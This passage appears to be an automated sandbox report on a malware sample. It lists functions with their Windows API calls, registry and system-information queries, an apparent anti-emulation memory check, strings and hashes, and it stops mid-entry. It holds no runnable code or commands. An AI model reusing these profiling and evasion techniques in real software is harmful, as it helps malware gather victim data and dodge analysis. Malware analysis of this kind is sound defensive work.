FindNextFileA.KERNELBASE(00000000,?), ref: 0068E7BA
FindClose.KERNEL32(00000000), ref: 0068E7C9

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 25af9f879d99dca7da5779036710df66af073af0876d49cd6f1f0495458314a7
Instruction ID: 3668f2a3398ab84bcfb8651d90210a3b62893ac0085e659e7b9c72f4dca39eac
Opcode Fuzzy Hash: 25af9f879d99dca7da5779036710df66af073af0876d49cd6f1f0495458314a7
Instruction Fuzzy Hash: E3020B70A012118FDB68EF19C584BA9B7F6BF44714B1DC2ADD8499B3A2D776EC42CB40

Function 006A3300 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A3336
HeapAlloc.KERNEL32(00000000), ref: 006A333D
RegOpenKeyExA.KERNEL32(80000002,0125A498,00000000,00020119,00000000), ref: 006A335C
RegQueryValueExA.KERNEL32(00000000,01260B18,00000000,00000000,00000000,000000FF), ref: 006A3377
RegCloseKey.ADVAPI32(00000000), ref: 006A3381

Strings

HLk, xrefs: 006A33A7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: HLk
API String ID: 3466090806-124042675
Opcode ID: f08ae2bdb1e7cddb8159cbb5e94c6e9ab2897489f4c58280aeee607ef0c36482
Instruction ID: 798dd1992c15a79a46c382404a364aa66578ca0a9fbce08a4cda57fb54cac1b0
Opcode Fuzzy Hash: f08ae2bdb1e7cddb8159cbb5e94c6e9ab2897489f4c58280aeee607ef0c36482
Instruction Fuzzy Hash: 6B1130B6A44205AFD710DB94DD45BBBBBBDF744B11F004229FA0593780DB755904CBA1

Function 00684BC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800,0125D668), ref: 00684BF7
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00684C01
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00684C0B
lstrlenA.KERNEL32(?,00000000,?), ref: 00684C1F
InternetCrackUrlA.WININET(?,00000000), ref: 00684C27

Strings

<, xrefs: 00684BE7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 73933574d87353fb5c9fcc39ad145dc1097802cbcadc259372e716198275eaf9
Instruction ID: 0d787206d41de9cfaee9e65c3b607f947b675628bf8850dac8df54b0d3b77af5
Opcode Fuzzy Hash: 73933574d87353fb5c9fcc39ad145dc1097802cbcadc259372e716198275eaf9
Instruction Fuzzy Hash: FE011B71D00218ABDB14DFA9E845B9EBBB9EB09320F00412AF914E7390EF7499048FD4

Function 006A2AE0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 006A2AF5
HeapAlloc.KERNEL32(00000000), ref: 006A2AFC
RegOpenKeyExA.KERNEL32(80000002,0125A818,00000000,00020119,006A2A79), ref: 006A2B1B
RegQueryValueExA.KERNEL32(006A2A79,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 006A2B35
RegCloseKey.ADVAPI32(006A2A79), ref: 006A2B3F

Strings

CurrentBuildNumber, xrefs: 006A2B2F

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: adc44ce62bfbb7772c84d17d1243988ef8605afd3df26a07a9e3b9b66f6a3bb3
Instruction ID: 14c919bbd0a9b26569aba4ab46fb7c727cfb6c1f99f72eb5a81ebd58c925bbac
Opcode Fuzzy Hash: adc44ce62bfbb7772c84d17d1243988ef8605afd3df26a07a9e3b9b66f6a3bb3
Instruction Fuzzy Hash: C501BC75640219ABD320EBA4DC99FFB7BADEB49715F100198FE459B380EA3059098BA0

Function 006A2A50 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 006A2A65
HeapAlloc.KERNEL32(00000000), ref: 006A2A6C

Part of subcall function 006A2AE0: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 006A2AF5
Part of subcall function 006A2AE0: HeapAlloc.KERNEL32(00000000), ref: 006A2AFC
Part of subcall function 006A2AE0: RegOpenKeyExA.KERNEL32(80000002,0125A818,00000000,00020119,006A2A79), ref: 006A2B1B
Part of subcall function 006A2AE0: RegQueryValueExA.KERNEL32(006A2A79,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 006A2B35
Part of subcall function 006A2AE0: RegCloseKey.ADVAPI32(006A2A79), ref: 006A2B3F

RegOpenKeyExA.KERNEL32(80000002,0125A818,00000000,00020119,00699650), ref: 006A2AA1
RegQueryValueExA.KERNEL32(00699650,01260400,00000000,00000000,00000000,000000FF), ref: 006A2ABC
RegCloseKey.ADVAPI32(00699650), ref: 006A2AC6

Strings

Windows 11, xrefs: 006A2A80

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 585e3b374ae200ce0e5d78feb20cd12c08463249de9726c260b50f899c75275c
Instruction ID: 57d2a559dbaa85a85963c3b7ff899b06b749b509a08d6c6f1bf9d69cea3c1085
Opcode Fuzzy Hash: 585e3b374ae200ce0e5d78feb20cd12c08463249de9726c260b50f899c75275c
Instruction Fuzzy Hash: 6901A2B1640209BBD720EBA4AC49FBA7B6DFB44715F000254FF09D2251DA705D458BA0

Function 00689A80 Relevance: 9.1, APIs: 6, Instructions: 67filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,0068140E), ref: 00689A9A
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,0068140E), ref: 00689AB0
LocalAlloc.KERNEL32(00000040,?,?,?,?,0068140E), ref: 00689AC7
ReadFile.KERNEL32(00000000,00000000,?,0068140E,00000000,?,?,?,0068140E), ref: 00689AE0
LocalFree.KERNEL32(?,?,?,?,0068140E), ref: 00689B00
CloseHandle.KERNEL32(00000000,?,?,?,0068140E), ref: 00689B07

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 86f30b3536ac0abb0d77a7c38e6d9a742191fe0bccc5f8cb54e0ec1c6c28e02d
Instruction ID: 995e5be8f42d0e387133fa2096bf7848081fb7d90e4676a013d83bab7789077d
Opcode Fuzzy Hash: 86f30b3536ac0abb0d77a7c38e6d9a742191fe0bccc5f8cb54e0ec1c6c28e02d
Instruction Fuzzy Hash: 5C11077160020AAFEB10EFA9DD88ABB776DEB05744F144359F915A7280EB70AD41CBA0

Function 006A3590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?), ref: 006A35BF
HeapAlloc.KERNEL32(00000000), ref: 006A35C6
GlobalMemoryStatusEx.KERNEL32 ref: 006A35E1
wsprintfA.USER32 ref: 006A3607

Strings

%d MB, xrefs: 006A3601

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 2a866e453683e2d6067c4b340c021c1e908467035d9a8d1871a534baf5492eac
Instruction ID: ad9a9f2afdb349acd40e43d09aed0ce954515c4165436e9edaeb49414d2cabb5
Opcode Fuzzy Hash: 2a866e453683e2d6067c4b340c021c1e908467035d9a8d1871a534baf5492eac
Instruction Fuzzy Hash: B201B1B1E04614AFDB04AB9CDD4ABAEB7B9FB45710F000629FA06E7380D7749D018AA5

Function 00688D50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00688C6B,00000000,?,?,00000000), ref: 00688D62
std::exception::exception.LIBCMT ref: 00688D7D
__CxxThrowException@8.LIBCMT ref: 00688D92

Strings

,Kk, xrefs: 00688D8B
,Kk, xrefs: 00688D73, 00688D87, 00688D8A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ??2@Exception@8Throwstd::exception::exception
String ID: ,Kk$,Kk
API String ID: 3448701045-3387333014
Opcode ID: 8fbba423caf36aa7edd7c4d7ad7e5237cbe7a0ba47d76dbcb8de2607e7b4e7df
Instruction ID: 0504742eafe1051e86e535f181fa0a5655539bfd81568a8e761a5e88e71cc09a
Opcode Fuzzy Hash: 8fbba423caf36aa7edd7c4d7ad7e5237cbe7a0ba47d76dbcb8de2607e7b4e7df
Instruction Fuzzy Hash: DAE09B709002099BDB14FFF48C156FF76BA9F11315F40075DE926521C1EF7196048756

Function 0069BDB9 Relevance: 7.6, APIs: 6, Instructions: 130stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0069BDC0
lstrcpy.KERNEL32(00000000,?), ref: 0069BDEB
lstrcpy.KERNEL32(00000000,?), ref: 0069BE1E
lstrcpy.KERNEL32(00000000,?), ref: 0069BE49
lstrcpy.KERNEL32(00000000,?), ref: 0069BE79
lstrcpy.KERNEL32(00000000,?), ref: 0069BEA4

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: be6a8f97bb7745b84bb7eee3add3207ecf9ca161fb959d20d8e2af8a75d83a08
Instruction ID: 7344dfa501796d37abcc8784d7d3a9b6bebe1b729e705a19dd41efe5f6e858ad
Opcode Fuzzy Hash: be6a8f97bb7745b84bb7eee3add3207ecf9ca161fb959d20d8e2af8a75d83a08
Instruction Fuzzy Hash: C541FA70A102169BCB65FF6AE99699E77FAFF14340F10526CF949AB311DB30EC408B94

Function 6C46C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C46C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C46C969
GetSystemInfo.KERNEL32(?), ref: 6C46C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C46C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C46C9E2

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 696d6c0763dfa147f2ffb5b66998b4de2897699f6f55e33ebc377f07a6f895e3
Instruction ID: a020fc41bf4c04f465dbb56e9f46afa55e57ffe28e7400a0bb5f07d91e09ed1f
Opcode Fuzzy Hash: 696d6c0763dfa147f2ffb5b66998b4de2897699f6f55e33ebc377f07a6f895e3
Instruction Fuzzy Hash: 3921C231742614ABDF15FA65DC84FAE72BAAB46744F50051EF903E7B84DB60A80887A1

Function 00681030 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00000000,00000000,?,?,006A1E5A), ref: 00681046
VirtualAllocExNuma.KERNEL32(00000000,?,?,006A1E5A), ref: 0068104D
ExitProcess.KERNEL32 ref: 00681058
VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,006A1E5A), ref: 0068106C
VirtualFree.KERNEL32(00000000,17C841C0,00008000,?,?,006A1E5A), ref: 006810AB

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma
String ID:
API String ID: 3477276466-0
Opcode ID: a3306e15724fe44211a3d2307e91dbbb87a32bc1635baee00d6db7177db0a84d
Instruction ID: 8cbe603940e74f84e040395bbb21bfaf2f3d12a86b579a0fd729e3fbc06e2524
Opcode Fuzzy Hash: a3306e15724fe44211a3d2307e91dbbb87a32bc1635baee00d6db7177db0a84d
Instruction Fuzzy Hash: B101F471780204BBE7206B656C5AFAB77ADF785B02F208214F748E73C0DDB1E9018664

Function 00697D60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00697DD4
std::_Xinvalid_argument.LIBCPMT ref: 00697DEF
memcpy.MSVCRT(?,?,?,00000000,?,00000000,?,00689186,?,?,?,?,00000000,?,00001000,?), ref: 00697E44

Part of subcall function 00697E80: std::_Xinvalid_argument.LIBCPMT ref: 00697E98
Part of subcall function 00697E80: std::_Xinvalid_argument.LIBCPMT ref: 00697EB6
Part of subcall function 00697E80: std::_Xinvalid_argument.LIBCPMT ref: 00697ED1
Part of subcall function 00697E80: memcpy.MSVCRT(?,?,?,00000000,?,?,00697DBA,00000000,?,?,00000000,?,00689186,?), ref: 00697F34

Strings

string too long, xrefs: 00697DCF, 00697DEA

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 82c40ab822712c7f6767bca98d642c4a0a1c300f49b7dd5fc632620dc4a8e8ef
Instruction ID: f93a17e6589c237ee894dc9bbcce449b3c8bc0f3f152cb04f91e24a4749eb270
Opcode Fuzzy Hash: 82c40ab822712c7f6767bca98d642c4a0a1c300f49b7dd5fc632620dc4a8e8ef
Instruction Fuzzy Hash: 4731D6723186108BDF24DE6CE8809AAF7EFEF91760720466AF151C7B91D7719C4187E8

Function 0069F070 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0069F0A3
StrCmpCA.SHLWAPI(?,ERROR,?,?,?,?,?,?,?,?,?,0069F5C8), ref: 0069F0BE
lstrcpy.KERNEL32(00000000,ERROR), ref: 0069F11F

Strings

ERROR, xrefs: 0069F0B8, 0069F119

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: ERROR
API String ID: 3722407311-2861137601
Opcode ID: 9030dc0861a296ccef25168faf982fb3071f48ed3727636cddebfbccfbe10ad2
Instruction ID: 33d8594601fc4b269faa26cc84db235a1e72ba0e0eef740f55cf77ab92d9a7e9
Opcode Fuzzy Hash: 9030dc0861a296ccef25168faf982fb3071f48ed3727636cddebfbccfbe10ad2
Instruction Fuzzy Hash: 872110B06202079BCF65FF7ADC9A69E37EAEF14300F055628F84ADB612DB34D8518794

Function 006A2CA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 006A2CCF
HeapAlloc.KERNEL32(00000000), ref: 006A2CD6
GetComputerNameA.KERNEL32(00000000,00000104), ref: 006A2CEA

Strings

HLk, xrefs: 006A2D14

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
